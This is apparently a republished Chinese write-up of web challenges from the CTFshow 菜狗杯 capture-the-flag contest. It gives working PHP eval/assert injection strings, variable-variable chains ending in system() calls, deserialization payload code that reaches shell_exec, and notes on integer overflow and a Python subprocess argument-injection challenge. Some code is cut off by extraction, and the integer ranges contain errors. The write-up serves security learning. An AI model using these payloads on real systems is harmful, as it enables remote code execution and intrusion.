我的编程空间,编程开发者的网络收藏夹
学习永远不晚

CTFshow 菜狗杯 部分wp

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

CTFshow 菜狗杯 部分wp

😋 大家好,我是YAy_17,是一枚爱好网安的小白。
本人水平有限,欢迎各位大佬指点,一起学习 💗 ,一起进步
此后如竟没有炬火,我便是唯一的光。

web签到

 

$_COOKIE['CTFshow-QQ群:'],通过cookie方式传递CTFshow-QQ群:为a;那么里面的代码变为$_REQUEST[$_GET[$_POST['a']]],再通过POST方式传递a=b,则代码继续缩减为$_REQUEST[$_GET['b']] 再通过GET方式传递b=c,代码继续缩减为$_REQUEST['c'],然而REQUEST方式可以接受GET或者POST方式。再通过GET方式传递c数组,c[6][0][7][5][8][0][9][4][4]=system('ls');

CTFshow-QQ群,汉字“群”记得url编码

web2 c0me_t0_s1gn

看看源码,可以发现一部分flag:

同时还发现了另外一半的flag在控制台中,打开控制台,再次发现提示:

输入g1ve_flag(),输出剩余的flag;

我的眼里只有$

类似于web签到,嗯~;$$$_ ->那么我们通过POST传递_=a 变成了$$a 继续传递a=b 继续缩减为$b 再传递b=phpinfo();便可以执行成功,只不过这里的$符号比较多,一共36个,费劲;payload为:

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=re1&re1=re2&re2=re3&re3=re4&re4=re5&re5=re6&re6=re7&re7=re8&re8=re9&re9=re10&re10=eval($_POST[1]);&1=system('nl /f1agaaa');

一言既出

 

assert和eval类似,括号中可以执行php代码,因此我们可以将该行后面的注释掉;

payload:

num=114514);//

驷马难追

 

在一言既出的基础上加上了check!不允许存在字符,分号,以及括号;那么上面的通过闭合的方法就无法执行!可以通过“➕”来完成,记得编码,num=114514%2b1919810-114514

TapTapTap

小游戏,看看源代码,在源代码的最后面发现了一个js文件:

查看js文件如下:

当游戏的等级达到20级以上的时候,会弹窗(里面有段看起来像是base64编码的字符串,尝试解密):

发现最终的flag位置,访问该路径即可;

Webshell

 init();        }        public function init() {            if (!preg_match('/flag/i', $this->cmd)) {                $this->exec($this->cmd);            }        }        public function exec($cmd) {            $result = shell_exec($cmd);            echo $result;        }    }    if(isset($_GET['cmd'])) {        $serializecmd = $_GET['cmd'];        $unserializecmd = unserialize($serializecmd);        $unserializecmd->init();    }    else {        highlight_file(__FILE__);    }?> 

最终的利用点在exec方法中,将执行shell_exec()后的结果,返回;上面的init方法调用了exec方法,inti方法中,进行了正则过滤,不可以匹配到flag。很简单的反序列化:

init();    }    public function init() {            if (!preg_match('/flag/i', $this->cmd)) {                $this->exec($this->cmd);            }    }    public function exec($cmd) {            $result = shell_exec($cmd);            echo $result;    }}$a = new Webshell();echo serialize($a);?> 

化零为整

1){        die("你太长了!!");        }    else{    $result=$result.$_GET[$i];    }}if ($result ==="大牛"){    echo $flag;}

这个题目好牛!!

我们知道一个中文的字符,经过url编码会变成3个;例如大这个字符经过url编码变为%e5%a4%a7

因此我们可以将其拆分为6个,最终连接起来形成:“大牛”

payload:1=%e5&2=%a4&3=%a7&4=%e7&5=%89&6=%9b

无一幸免

0=1

茶歇区

不明白的题目,貌似是整数溢出漏洞;关于整数溢出漏洞,我们需要了解各种数据类型对应的取值范围:

uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807

尝试将咖啡的数量修改为99999999999999999999:

那么我们根据922..807这个数字,可以判断为int64,当然一般情况都是int64,这里存在一个疑点,为什么我们传的值已经明显大于9223372036854775807,但是为什么获得的积分是0?未接触过整数溢出的题目,看了相关的wp,好像是与数位相关,因为咖啡的单价是10,我们的数量还要×10,因此当我传递999999999999999999时:

再次传递数量(也就是说一共传递两次)

小舔田?

name;    }        public function __wakeup(){        echo "我是".$this->name."快来赏我";    }}class Ion_Fan_Princess{    public $nickname="牛夫人";    public function call(){        global $flag;        if ($this->nickname=="小甜甜"){            echo $flag;        }else{            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";        }    }        public function __toString(){        $this->call();        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;    }}if (isset($_GET['code'])){    unserialize($_GET['code']);}else{    $a=new Ion_Fan_Princess();    echo $a;}

php序列化,最终的利用点在22行的echo $flag;该语句在call函数中,那么我们就需要向上找到用谁去调用call函数,显然,是Ion_Fan_Princess类中的tostring方法了,那么想要调用tostring函数,可以利用上面类中的tostring方法,当我们使得$this->name的值为Ion_Fan_Princess对象时,在wakeup方法中触发tostring方法;那么序列化链就比较清楚了;

name;    }    public function __wakeup(){        echo "我是".$this->name."快来赏我";    }}class Ion_Fan_Princess{    public $nickname;    public function call(){        global $flag;        if ($this->nickname=="小甜甜"){            echo $flag;        }else{            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";        }    }    public function __toString(){        $this->call();        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;    }}$a = new Moon();$b = new Ion_Fan_Princess();$b->nickname = "小甜甜";$a->name = $b;echo serialize($a);

看下源码,发现存在执行命令:

随便上传一个图片,在repeater模块进行测试:

发现了flag.py文件,之后便可以cat flag.py

Is_Not_Obfuscate

hint:这道题是纸老虎,看题目名字。

先看下源代码:

发现了很多信息,通过input传递加密后的代码,之后通过decode解密后,当作php代码执行;同时发现robots.txt文件,先去访问下robots.txt文件:

这里发现了/lib.php?flag=0;尝试修改0为1,得到一串加密后的代码,有点像base64,这里还去尝试解码;发现不对;还有一个地方值得我们的注意,就是url中的参数存在3个,分别是input,action,output;到这里没有了思路,看了wp,需要将action的值设置为test;(其实在源代码中有提示的),尝试将input设置为刚才我们发现的那一串类似base64的加密字符串:(这里在hackbar中测试出来,后来才在前端将action修改为test)

先在前端修改action的value值为test,之后将上面发现的类似于base64的字符串填入文本框中,点击预览:

看到代码,首先看到$input变量,使用的是file_put_contents()函数,文件名为/plugins/md5加密“output的值+youyou”;内容就是encode加密后的output;

而$output变量,利用file_get_contents()函数读取文件中的内容,然后通过decode进行解密,之后将解密后的代码当作php代码来执行;

http://ctfshow/index.php?input=&action=push&output=http://ctfshow/index.php?input=0ed5fa37c609aceabc612d7c4e3799db&action=pull&output=

无一幸免_FIXED

我说上面的无一幸免怎么回事呢,下面才是g4师傅的意图:

 

题目还是涉及到整数溢出,类似于“茶歇区”,通过GET方式提交参数0的值,作为数组的下标,赋值为1,通过判断,输出flag的值;

当通过get传递值为9223372036854775807时,出现报错,而不是输出的结果是1;故我们可以通过传递0的值为9223372036854775807来绕过;

easyPytHon_P

源码在此:

from flask import requestcmd: str = request.form.get('cmd')param: str = request.form.get('param')# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓import subprocess, osif cmd is not None and param is not None:    try:        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)        print('Done!')    except subprocess.TimeoutExpired:        print('Timeout!')    except:        print('Error!')else:    print('No Flag!')如果环境出现故障,请访问 这里 尝试恢复。大菜鸡敬上!

看源码可知,关键性的代码

tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

先来了解subprocess.run:

我们需要传递两个参数,分别是cmd和param(需要注意的是,要通过POST方式传递,而不是GET)

flag存在于当前路径下,而不是在根目录下;

来源地址:https://blog.csdn.net/weixin_44770698/article/details/128882067

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

CTFshow 菜狗杯 部分wp

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录